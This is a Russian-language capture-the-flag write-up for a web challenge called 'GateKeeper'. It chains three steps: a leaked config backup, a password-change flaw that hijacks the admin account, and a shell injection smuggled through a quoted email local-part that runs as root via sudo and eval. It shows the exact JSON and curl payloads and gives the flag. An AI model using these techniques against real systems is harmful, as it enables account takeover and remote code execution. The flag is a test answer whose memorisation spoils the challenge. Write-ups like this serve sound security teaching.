60 lines
3.7 KiB
Markdown
60 lines
3.7 KiB
Markdown
<h1 align="center">GateKeeper</h1>
|
||
|
||
<p align="center">
|
||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||
</p>
|
||
|
||
GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только `admin` и `operator`. Флаг лежит в `/root/flag.txt`, а веб-приложение работает от `gk`. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя.
|
||
|
||
## Решение
|
||
|
||
### Получение прав администратора
|
||
|
||
В статике находим `/static/config.json.bak`. Бэкап содержит пароль `operator`. Входим через `POST /login` с JSON-полями `username` и `password`, сохраняем cookie `gk_session`.
|
||
|
||
У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к `POST /account/password`. Обработчик ищет совпадение `old_password` с паролем любого пользователя, не связывая его с полем `username`.
|
||
|
||
С cookie оператора отправляем в `POST /account/password` имя администратора и известный пароль оператора:
|
||
|
||
```json
|
||
{
|
||
"username":"admin",
|
||
"old_password":"<пароль operator из бэкапа>",
|
||
"new_password":"gk_pwned_2026"
|
||
}
|
||
```
|
||
|
||
Проверка проходит, пароль `admin` меняется. Повторяем `POST /login` с `username=admin` и новым паролем `gk_pwned_2026`. Сохраняем новую cookie `gk_session` и используем её для административной синхронизации.
|
||
|
||
### Выполнение команды через email
|
||
|
||
`POST /admin/directory/sync` принимает `email` и вызывает `sudo /opt/gk/bin/sync_user.sh <email>`. У `gk` есть право запускать этот скрипт от root без пароля.
|
||
|
||
Фильтр исходной строки блокирует `;`, `|`, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в `eval` без кавычек.
|
||
|
||
Отправляем из администраторской сессии:
|
||
|
||
```bash
|
||
curl -sS http://<host>:18113/admin/directory/sync \
|
||
-b 'gk_session=<сессия admin>' \
|
||
-H 'Content-Type: application/json' \
|
||
--data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}'
|
||
```
|
||
|
||
Сырой email проходит парсер задания. После нормализации и `eval` конструкция `$(cp ...)` исполняется от root и копирует флаг в каталог веб-раздачи.
|
||
|
||
Вывод скрипта в HTTP-ответе не показывают. Зато `/opt/gk/www/public` доступен как `/public/`, а скрипт выставляет права `a+rX`:
|
||
|
||
```bash
|
||
curl -sS http://<host>:18113/public/f.txt
|
||
```
|
||
|
||
Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды.
|
||
|
||
[Солвер](solve/solve.py).
|
||
|
||
## Флаг
|
||
|
||
`CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}`
|